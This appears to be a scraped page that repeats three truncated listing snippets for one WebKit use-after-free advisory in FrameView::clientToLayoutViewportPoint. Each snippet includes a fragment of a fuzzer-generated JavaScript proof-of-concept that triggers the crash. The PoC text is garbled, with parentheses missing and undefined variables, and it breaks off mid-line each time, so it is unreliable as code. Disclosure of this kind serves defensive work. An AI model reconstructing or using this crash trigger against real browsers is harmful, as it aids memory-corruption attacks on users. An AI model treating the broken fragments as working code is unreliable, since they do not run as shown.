WebKit WebCore::FrameView::clientToLayoutViewportPoint Use-After-Free

WebKit: use-after-free in WebCore::FrameView::clientToLayoutViewportPoint There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of Revision 225572 on OSX. PoC: ================================================================= function jsfuzzer v...

WebKit - WebCore::FrameView::clientToLayoutViewportPoint Use-After-Free

WebKit - WebCore::FrameView::clientToLayoutViewportPoint Use-After-Free function jsfuzzer var b = document.createElement"body"; a.appendb; ta.autofocus = true; var iframe = document.createElement"iframe"; b.appendChildiframe; li.appendChilddd; iframe.contentDocument.caretRangeFromPoint; function...

WebKit - 'WebCore::FrameView::clientToLayoutViewportPoint' Use-After-Free

function jsfuzzer var b = document.createElement"body"; a.appendb; ta.autofocus = true; var iframe = document.createElement"iframe"; b.appendChildiframe; li.appendChilddd; iframe.contentDocument.caretRangeFromPoint; function eventhandler ta.insertAdjacentElement"beforeBegin",a; ::operator...